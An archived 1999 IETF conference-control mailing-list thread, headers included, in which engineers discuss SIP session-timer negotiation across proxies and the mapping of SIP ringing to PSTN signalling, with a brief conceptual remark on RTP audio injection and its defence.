> To: MMUSIC WG List
> Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
>
>
> Jonathan Rosenberg writes:
> > in a prior email I suggested
> > that each proxy along the chain can decrease (but not increase) the
> > value of the timer. The result is that the timer in the response
> > represents the minimal refresh interval needed by all servers. By
> > definition, this means that every server will receive a
> refresh in time
> > (not true if servers are allowed to increase the interval).
>
> Would there be a need in this approach to account for the delay
> introduced by the length of the chain?  Suppose the proxy
> farthest down
> the chain from the refreshing client happens to want the smallest
> timeout period T of all the proxies.  If the client waits about T time
> before sending the refresh to the nearest proxy, the distant proxy's
> timer may expire before it receives that refresh.
>
> -Lewis
http://www.cs.umass.edu/~lmccarth
--
"we have to yet really seriously debate the constitutional issues and
whether or not we're willing to give up more freedom in order to have
more security" -- U.S. Secretary of Defense William Cohen, 3 Feb 1999


From confctrl-owner  Wed Feb 17 20:42:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA08104
	for confctrl-outgoing; Wed, 17 Feb 1999 20:42:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA08099
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 20:42:07 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA07496
	for <confctrl@isi.edu>; Wed, 17 Feb 1999 20:42:06 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Wed Feb 17 23:40:10 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.249.249])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA03758;
	Wed, 17 Feb 1999 23:40:07 -0500 (EST)
Message-ID: <36CB9984.63B44E09@dnrc.bell-labs.com>
Date: Wed, 17 Feb 1999 23:39:32 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: Lewis McCarthy <lmccarth@cs.umass.edu>,
        Conference Control List <confctrl@ISI.EDU>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <003101be5ad2$545f0d20$05808acd@dwillispc3.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:
> 
> How about renewing at 1/2 T, where T is the minimum time unit on the
> proxy chain. If T is greater than 1 minute or so, this should preclude
> accidental expirations as the renewal propagates. As T increases, this
> gives us a nice backoff on renewals . . .

I'm not sure we need to specify anything for this. Sending at 1/2T, then
3/2T, 5/2 T, etc., only delays the problem by T. What I mean is lets say
each proxy starts its timer when the response comes down the proxy
chain, at t=0. Now, the client resends at 1/2 T, which is fast enough to
refresh things. Now, each proxy expects to see the next before 3/2 T.
THe client sends at 3/2 T, but because of timing inconsistencies, packet
loss, clock skew, and latencies, it comes too late for some servers.

Instead, the interval should be treated as the frequency the client will
refresh at. Servers really should not time out a session unless no
refresh is received for 3/2 to 2 times this amount of time. Its like the
RTCP refresh interval. A user is not timed out in RTP unless they don't
send an RTCP packet for 5 times the interval. You need this to account
for losses, skew, and so on.

-Jonathan R.



-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb 18 01:19:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA18021
	for confctrl-outgoing; Thu, 18 Feb 1999 01:19:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA18016
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 01:19:00 -0800 (PST)
Received: from angel.algonet.se (angel.algonet.se [194.213.74.112])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA22354
	for <confctrl@ISI.EDU>; Thu, 18 Feb 1999 01:18:58 -0800 (PST)
Received: (qmail 12742 invoked from network); 18 Feb 1999 10:18:56 +0100
Received: from sdu54-241.ppp.algonet.se (HELO pyramid) (195.163.241.54)
  by angel.algonet.se with SMTP; 18 Feb 1999 10:18:56 +0100
Received: from 192.168.0.42 by pyramid ([192.168.0.100] running VPOP3) with SMTP; Thu, 18 Feb 1999 11:12:19 +0100
Message-ID: <36CBDD0E.6505B621@intertex.se>
Date: Thu, 18 Feb 1999 10:27:42 +0100
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
CC: Conference Control List <confctrl@ISI.EDU>
Subject: Re: Negotiation of session-expires refresh timer
References: <CA6966C24AC6D111B5A100805FEAB7D8577425@nsrip00208.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Server: VPOP3 V1.3.0a - Registered to: Intertex Data AB
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Donovan, Steven R. (MCI) wrote:
> 
> One of the things that had been bothering me about the draft as it
> exists is the interaction of multiple proxy servers interested in
> session timers.  If the first proxy server has a desired refresh
> period longer then the second then the following could occur (I have
> added the concept of including the acceptable session expires in the
> 4xx response, which at a minimum needs to be added to the existing
> draft):
> 
> UAC  -> SPS1 INVITE Session-Expires=180
> SPS1 <- UAC  4xx Session-Expires=120
> UAC  -> SPS1 INVITE Session-Expires=120
> SPS1 -> SPS2 INVITE Session-Expires=120
> SPS2 <- SPS1 4xx Session-Expires=100
> SPS1 <- UAC  4xx Session-Expires=100
> UAC  -> SPS1 INVITE Session-Expires=100
> SPS1 -> SPS2 INVITE Session-Expires=100
> SPS2 -> UAS  INVITE Session-Expires=100
> UAS  <- SPS2 4XX Session-Expires=90
> 
> etc., etc, etc.
> 
> This is clearly not a desirable situation and is made worse by the
> inclusion of more proxy servers.
> 
> I would assert that the following behavior, suggested in an offline
> note by Adam Roach, is better.  The concept here is that the Proxy
> Servers and the UAS would have the ability to adjust the value of the
> Session-Expires header to their liking (although it could only be
> adjusted down).
> 
> UAC  -> SPS1  INVITE Session-Expires=180
> SPS1 -> SPS2  INVITE Session-Expires=120
> SPS2 -> UAS   INVITE Session-Expires=100
> UAS  <- SPS2  200 OK Session-Expires=90
> SPS2 <- SPS1  200 OK Session-Expires=90
> SPS1 <- UAC   200 OK Session-Expires=90
> UAC  -> SPS1  ACK Session-Expires=90
> SPS1 -> SPS2  ACK Session-Expires=90
> SPS2 -> UAS   ACK Session-Expires=90
> 
> This way no new messages have been added to achieve the negotiation of
> acceptable session refresh timers.
> 
> At any time during this process, the proxy servers or UAC could CANCEL
> the session setup if the negotiated timers are not acceptable.
> 
> Another variant of this would be if the initial invite from the UAC
> did not contain a session-expires header.  In this case, the SPS1
> would have the ability to add a session-expires header to the INVITE
> that is sent on to the SPS2, instead of explicitly rejecting the
> INVITE and requiring the UAC to initiate a new INVITE.
> 
> UAC  -> SPS1  INVITE (no session-expires header)
> SPS1 -> SPS2  INVITE Session-Expires=120
> SPS2 -> UAS   INVITE Session-Expires=100
> UAS  <- SPS2  200 OK Session-Expires=90
> SPS2 <- SPS1  200 OK Session-Expires=90
> SPS1 <- UAC   200 OK Session-Expires=90
> UAC  -> SPS1  ACK Session-Expires=90
> SPS1 -> SPS2  ACK Session-Expires=90
> SPS2 -> UAS   ACK Session-Expires=90
> 
> Thanks to Adam for the suggestion.
> 
> Thoughts...

Yes, this is a better approach.

I don't know if you are planning to replace or extend the behaviour of
SPS:s in the session-timer draft, however, if replacing is what you are
thinking of, I guess that the proposed 4xx responses will not be used
any more and I have some thoughts on this...

In the case where the initial INVITE from the UAC did not contain a
Session-Expires header, the '4xx Session-Expires Header Required'
response message could still be useful.

If the UAC did not provide a Session-Expires header in the INVITE and
some SPS added one, there is a chance that the UAC does not understand
the Session-Expires header in the response.

To tell the UAC to add a session timer for this session the first SPS
that requires session timeouts can still have the option of returning
such a 4xx response. Now, if the UAC adds a Session-Expires header to
the next INVITE request, it is assumed that the UAC understands the
concept of session timers and everyone is satisfied.

Lars

> 
> Steve

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Thu Feb 18 08:54:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA02575
	for confctrl-outgoing; Thu, 18 Feb 1999 08:54:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA02570
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 08:54:45 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12309
	for <confctrl@isi.edu>; Thu, 18 Feb 1999 08:54:44 -0800 (PST)
Received: from omta2.mcit.com (omta2.mcit.com [166.37.204.3])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id QAA31120; Thu, 18 Feb 1999 16:53:52 GMT
Received: from dwillispc3 ([166.35.227.103]) by omta2.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990218165413.QUSE27406@dwillispc3>;
          Thu, 18 Feb 1999 10:54:13 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
Cc: "Conference Control List" <confctrl@ISI.EDU>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Thu, 18 Feb 1999 10:53:54 -0600
Message-ID: <001101be5b5f$44a77b00$05808acd@dwillispc3.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <36CB9984.63B44E09@dnrc.bell-labs.com>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Importance: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Jonathan wrote:
> Dean Willis wrote:
> >
> > How about renewing at 1/2 T, where T is the minimum time unit on the
> > proxy chain. If T is greater than 1 minute or so, this
. . .
>
> I'm not sure we need to specify anything for this. Sending at
> 1/2T, then
> 3/2T, 5/2 T, etc., only delays the problem by T. What I mean
> is lets say
> each proxy starts its timer when the response comes down the proxy
> chain, at t=0. Now, the client resends at 1/2 T, which is
> fast enough to
> refresh things. Now, each proxy expects to see the next before 3/2 T.
> THe client sends at 3/2 T, but because of timing
> inconsistencies, packet
> loss, clock skew, and latencies, it comes too late for some servers.

Not quite what I meant.

If we have duration T, then refresh interval is 1/2 T -- so client
refreshes at 1/2 T, 2/2 T, 3/2 T, 4/2 T, and so on -- always starting
1/2 T before expiration of the current timers.


> Instead, the interval should be treated as the frequency the
> client will
> refresh at. Servers really should not time out a session unless no
> refresh is received for 3/2 to 2 times this amount of time.
> Its like the
> RTCP refresh interval. A user is not timed out in RTP unless
> they don't
> send an RTCP packet for 5 times the interval. You need this to account
> for losses, skew, and so on.

Only problem -- if you are dealing with 50,000 or so connections through
a stateful proxy, you want to close sessions as soon as technically
feasible. If we extend the session life to multiple T after the session
termination, then the base value of T must be fairly small, thereby
making for lots of refresh cycles.

If on the other hand the timeout is 2T with a reasonably large value of
T, then the behavior is identical to my original suggestions except by a
constant of 2. That is, a given value t of T under the first proposal
would behave exactly as value 1/2t under the counterproposal. No real
difference there.

--
Dean


From confctrl-owner  Thu Feb 18 09:27:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA04260
	for confctrl-outgoing; Thu, 18 Feb 1999 09:27:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA04254
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 09:27:17 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA15007
	for <confctrl@ISI.EDU>; Thu, 18 Feb 1999 09:27:15 -0800 (PST)
Received: from omta4.mcit.com (omta4.mcit.com [166.37.204.6])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id QAA11681 for <confctrl@ISI.EDU>; Thu, 18 Feb 1999 16:26:20 GMT
Received: from MCANNON.MCIT.COM ([166.35.146.102]) by omta4.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990218172658.SBJM27243@MCANNON.MCIT.COM>
          for <confctrl@ISI.EDU>; Thu, 18 Feb 1999 11:26:58 -0600
From: "Matt Cannon" <matt.cannon@mci.com>
To: "Confctrl" <confctrl@ISI.EDU>
Date: Thu, 18 Feb 1999 11:26:40 -0600
Message-ID: <003501be5b63$d89e5e60$669223a6@MCANNON.MCIT.COM>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Importance: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Folks,
	I run into an issue with PSTN interworking to SIP that surrounds the
mapping of (SIP)180 ringing to an (ISUP)ACM message and was wondering
if
someone could validate the issue or show me where I'm going wrong.


The issue revolves around the playing of announcements/tones. In the
PSTN network, ringing/tones/announcements are generated by the
terminating party/platform. In a SIP based environment, from my
interpretation, this is not neccessarily true. Things like ringing
are generaly generated at the originating UAC. I am running into a
problem when the two networks inter-operate. When this happens and
a UAC receives a 180 Ringing message, how does it know whether it
should genrate a 'ringing' to the user or simply pass what is being
received on the RTP path? I tried to show two examples in the
scenarios below.


Scenario #1

Call is initiated from the PSTN through a gateway to User B

PSTN		GW	User B
--------------------------
IAM-------->
		INVITE---->
		<-------100
		<-------180
<--------ACM
		<-------200
<--------ANM
		ACK------->

In this scenario, it is assumed that based upon the reception of the
180
Ringing message that the GW will play a ringing tone back to the
originating
caller. To achieve this, an ACM is sent to open the transmit path
from the
GW to the originating user and then the ringing is applied.

Scenario#2

Call is initiated from the PSTN through a gateway to User B, User B
or more likely the network beteen GW and User B wishes to play an
announcement to the originating party, without generating an answer.

PSTN		GW	User B
--------------------------
IAM-------->
		INVITE---->
		<-------100
		<-------180
<--------ACM
<------------Announcement

The problem with this scenario is how does the gateway understand
that based upon
this 180 Ringing message, do not play ringing but rather pass to the
PSTN what is
beinging received on the IP side of the connection?

The same sequences occur if the oringinating user is on IP or if the
IP network is
in the middle of two PSTN networks.

One possible solution may be the introduction of 18X type response
code that
indicates "Inband Information Available", such that in the
interworking scenarios
the UAC upon reception would pass to the user what is being received
on the media path.
Allowing for a one way media path from terminating to originating
party without an
answer.

Thoughts?

Thanks
Matt



From confctrl-owner  Thu Feb 18 12:44:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA17867
	for confctrl-outgoing; Thu, 18 Feb 1999 12:44:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA17862
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 12:44:08 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA06953
	for <confctrl@isi.edu>; Thu, 18 Feb 1999 12:44:07 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Feb 18 15:42:49 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id PAA11781;
	Thu, 18 Feb 1999 15:42:47 -0500 (EST)
Message-ID: <36CC7AAA.9D42CBAB@dnrc.bell-labs.com>
Date: Thu, 18 Feb 1999 15:40:10 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Matt Cannon <matt.cannon@mci.com>
CC: Confctrl <confctrl@ISI.EDU>, jdrosen@dnrc.bell-labs.com
Subject: Re: 
References: <003501be5b63$d89e5e60$669223a6@MCANNON.MCIT.COM>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Comments below.

Matt Cannon wrote:
> 
> Folks,
>         I run into an issue with PSTN interworking to SIP that surrounds the
> mapping of (SIP)180 ringing to an (ISUP)ACM message and was wondering
> if
> someone could validate the issue or show me where I'm going wrong.
> 
> The issue revolves around the playing of announcements/tones. In the
> PSTN network, ringing/tones/announcements are generated by the
> terminating party/platform. In a SIP based environment, from my
> interpretation, this is not neccessarily true. Things like ringing
> are generaly generated at the originating UAC. I am running into a
> problem when the two networks inter-operate. When this happens and
> a UAC receives a 180 Ringing message, how does it know whether it
> should genrate a 'ringing' to the user or simply pass what is being
> received on the RTP path? I tried to show two examples in the
> scenarios below.
> 
> Scenario#2
> 
> Call is initiated from the PSTN through a gateway to User B, User B
> or more likely the network beteen GW and User B wishes to play an
> announcement to the originating party, without generating an answer.
> 
> PSTN            GW      User B
> --------------------------
> IAM-------->
>                 INVITE---->
>                 <-------100
>                 <-------180
> <--------ACM
> <------------Announcement
> 
> The problem with this scenario is how does the gateway understand
> that based upon
> this 180 Ringing message, do not play ringing but rather pass to the
> PSTN what is
> beinging received on the IP side of the connection?

Yes, this is a problem.

The problem is that you are allowing the gateway to receive RTP packets
from the "network" or user B before the call is accepted. In addition to
causing confusion as you describe, there is, in fact, a serious security
problem here. If the gateway just blindly accepts media on its RTP
ports, random users in the network can inject audio of all sorts into
the gateway, provided they can guess the port number (1 in 65536 chance,
probably less if you eliminate unlikely and odd ports). Ideally, all
media should be encrypted for privacy reasons; this has the advantage
that unencrypted media (read: media from a party with whom you have not
established a trust relationship) is not played out, eliminating this
nasty attack. 

Now, to establish media encryption for the tones, you must establish a
security relationship with the "network" element that is generating the
tone. So, I would say what we need is to separate the original session
and the "announcement" session as two totally separate SIP sessions. The
announcement session would be explicitly set up from the network
announcement element to the gateway. In this case, your call flow looks
like:

 PSTN            GW      User B    Announcement player
 --------------------------
 IAM-------->
                 INVITE---->
                 <-------100
                 <-------180
 <--------ACM
 
                 <--------INVITE--------
                 ------200 OK---------->

 <------------ANNOUNCEMENT---------------->

                 <----BYE---------------
                 -----200 OK----------->

                 <--------200

The gateway would make sure the announcement session is authenticated,
and only from some trusted set of parties which are allowed to play
announcements.

The advantage of having the announcements as a separate SIp session is
that you can set them up at any time. Consider a SIP payphone - halfway
through the call, the network needs to tell me to insert another 50
cents. This is nearly impossible to do securely without establishing a
separate session for the announcement. It also means the announcements
and actual session can have different media compositions, and that we
can apply SIP services to them for all kinds of potentially neat
services (transfer the announcements to some multicast musak on hold or
something).

This also solves your problem. Since the media for the announcement is
separate from the actual convesation, the gateway will know whether to
pass it back or not.

The cost - additional complexity, and an extra RTT before you can play
the announcement.

For this announcement session to work, we need a way for a SIP INVITE to
be "associated" with an existing or in progress session, so the
recipient knows that its not a new call, and doesn't ring the user.

Thoughts?

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb 18 12:46:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA18025
	for confctrl-outgoing; Thu, 18 Feb 1999 12:46:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA18020
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 12:46:07 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA07088
	for <confctrl@isi.edu>; Thu, 18 Feb 1999 12:46:06 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Feb 18 15:45:10 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id PAA11823;
	Thu, 18 Feb 1999 15:45:10 -0500 (EST)
Message-ID: <36CC7B39.21FEF28C@dnrc.bell-labs.com>
Date: Thu, 18 Feb 1999 15:42:33 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: Conference Control List <confctrl@ISI.EDU>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <001101be5b5f$44a77b00$05808acd@dwillispc3.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:
> 
> Jonathan wrote:
> > Dean Willis wrote:
> > >
> > > How about renewing at 1/2 T, where T is the minimum time unit on the
> > > proxy chain. If T is greater than 1 minute or so, this
> . . .
> >
> > I'm not sure we need to specify anything for this. Sending at
> > 1/2T, then
> > 3/2T, 5/2 T, etc., only delays the problem by T. What I mean
> > is lets say
> > each proxy starts its timer when the response comes down the proxy
> > chain, at t=0. Now, the client resends at 1/2 T, which is
> > fast enough to
> > refresh things. Now, each proxy expects to see the next before 3/2 T.
> > THe client sends at 3/2 T, but because of timing
> > inconsistencies, packet
> > loss, clock skew, and latencies, it comes too late for some servers.
> 
> Not quite what I meant.
> 
> If we have duration T, then refresh interval is 1/2 T -- so client
> refreshes at 1/2 T, 2/2 T, 3/2 T, 4/2 T, and so on -- always starting
> 1/2 T before expiration of the current timers.

Sorry for my misunderstanding. I believe this is pretty much what I was
suggesting. Whether the client sends at a lower rate than the
Session-Timer value, and servers timeout using the Session-Timer value,
or clients send at Session-Timer, and serves timeout with an interval
larger, is 6 on one hand, 1/2 a dozen on the other. It just needs to be
consistent.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb 18 13:11:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA20016
	for confctrl-outgoing; Thu, 18 Feb 1999 13:11:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA19989
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 13:11:07 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA10278
	for <confctrl@isi.edu>; Thu, 18 Feb 1999 13:10:06 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Feb 18 16:09:18 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id QAA12328;
	Thu, 18 Feb 1999 16:09:17 -0500 (EST)
Message-ID: <36CC80E0.6B1CF3EA@dnrc.bell-labs.com>
Date: Thu, 18 Feb 1999 16:06:40 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>
CC: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        Conference Control List <confctrl@ISI.EDU>
Subject: Re: Negotiation of session-expires refresh timer
References: <CA6966C24AC6D111B5A100805FEAB7D8577425@nsrip00208.mcit.com> <36CBDD0E.6505B621@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren wrote:
> 
> To tell the UAC to add a session timer for this session the first SPS
> that requires session timeouts can still have the option of returning
> such a 4xx response. Now, if the UAC adds a Session-Expires header to
> the next INVITE request, it is assumed that the UAC understands the
> concept of session timers and everyone is satisfied.

But, if the UAC doesn't understand the session timer, the UAC gets the
400 response, tries again (without the timer header, of course), which
generates another 400 response, and so on.

I think the best solution is that the UAC which is capable of using the
session-expires should always insert it in the message, with any initial
value it likes, or inifinity if it doesn't personally want to refresh. A
proxy or UAS can modify the value if its there. If its not there, this
means the UAC is unable or unwilling to refresh, so returning an error
does not good anyway.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb 18 13:44:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA22257
	for confctrl-outgoing; Thu, 18 Feb 1999 13:44:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA22252
	for <confctrl@zephyr.isi.edu>; Thu, 18 Feb 1999 13:44:11 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA14894
	for <confctrl@isi.edu>; Thu, 18 Feb 1999 13:44:10 -0800 (PST)
Received: from omta2.mcit.com (omta2.mcit.com [166.37.204.3])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id UAA22066; Thu, 18 Feb 1999 20:43:01 GMT
Received: from MCANNON.MCIT.COM ([166.35.146.102]) by omta2.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990218214329.SKBH27406@MCANNON.MCIT.COM>;
          Thu, 18 Feb 1999 15:43:29 -0600
From: "Matt Cannon" <matt.cannon@mci.com>
To: "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
Cc: "Confctrl" <confctrl@ISI.EDU>
Subject: RE:  180 to ACM Mapping
Date: Thu, 18 Feb 1999 15:43:12 -0600
Message-ID: <000101be5b87$aec34d20$669223a6@MCANNON.MCIT.COM>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26
In-reply-to: <36CC7AAA.9D42CBAB@dnrc.bell-labs.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Comments below preceded by MJC. Sorry about the missing
subject. Can't believe I forgot it.

Thanks
Matt

Thanks
Matt



> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dnrc.bell-labs.com]
> Sent: Thursday, February 18, 1999 2:40 PM
> To: Matt Cannon
> Cc: Confctrl; jdrosen@dnrc.bell-labs.com
> Subject: Re:
>
>
> Comments below.
>
> Matt Cannon wrote:
> >
> > Folks,
> >         I run into an issue with PSTN interworking to
> SIP that surrounds the
> > mapping of (SIP)180 ringing to an (ISUP)ACM message and
> was wondering
> > if
> > someone could validate the issue or show me where I'm
> going wrong.
> >
> > The issue revolves around the playing of
> announcements/tones. In the
> > PSTN network, ringing/tones/announcements are generated by the
> > terminating party/platform. In a SIP based environment, from my
> > interpretation, this is not neccessarily true. Things
> like ringing
> > are generaly generated at the originating UAC. I am
> running into a
> > problem when the two networks inter-operate. When this
> happens and
> > a UAC receives a 180 Ringing message, how does it know whether it
> > should genrate a 'ringing' to the user or simply pass
> what is being
> > received on the RTP path? I tried to show two examples in the
> > scenarios below.
> >

[snip]
>
> Yes, this is a problem.
>
> The problem is that you are allowing the gateway to
> receive RTP packets
> from the "network" or user B before the call is accepted.
> In addition to
> causing confusion as you describe, there is, in fact, a
> serious security
> problem here. If the gateway just blindly accepts media on its RTP
> ports, random users in the network can inject audio of all
> sorts into
> the gateway, provided they can guess the port number (1 in
> 65536 chance,
> probably less if you eliminate unlikely and odd ports).
> Ideally, all
